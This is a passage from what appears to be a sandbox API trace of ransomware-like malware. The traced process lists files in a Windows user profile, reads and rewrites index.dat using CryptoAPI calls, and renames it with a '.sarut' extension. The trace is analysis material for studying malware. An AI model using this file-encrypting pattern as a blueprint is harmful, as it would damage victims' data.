cAlternateFileName="943080~1")) returned 1 [0272.324] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0272.324] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0272.324] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0272.324] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0272.325] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0272.325] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0272.325] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0272.325] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0272.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0272.326] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0272.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0272.326] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0272.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0272.326] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0272.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0272.326] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0272.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0272.326] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0272.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0272.326] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0272.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0272.326] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0272.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0272.326] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0272.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0272.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0272.327] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0272.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0272.327] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0272.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0272.327] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0272.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0272.327] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0272.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0272.327] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0272.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0272.327] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0272.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0272.327] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0272.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0272.327] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.329] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.329] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.329] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0272.329] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0272.329] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0272.329] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.329] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.329] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.329] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.329] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.329] PathFindFileNameW (pszPath="") returned="" [0272.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.330] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.330] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0272.330] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0272.330] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0272.330] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0272.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.331] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=32768) returned 1 [0272.331] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.333] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.333] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.345] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.345] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x8000, lpOverlapped=0x0) returned 1 [0272.376] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.376] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.376] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.376] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5418) returned 1 [0272.377] CryptCreateHash (in: hProv=0x2fa5418, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.377] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.377] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.377] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.377] GetLastError () returned 0x0 [0272.377] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.377] CryptReleaseContext (hProv=0x2fa5418, dwFlags=0x0) returned 1 [0272.378] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.378] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.378] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.378] CloseHandle (hObject=0x5c4) returned 1 [0272.380] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.sarut")) returned 1 [0272.381] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.381] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0272.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f1e70 | out: hHeap=0x640000) returned 1 [0272.382] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 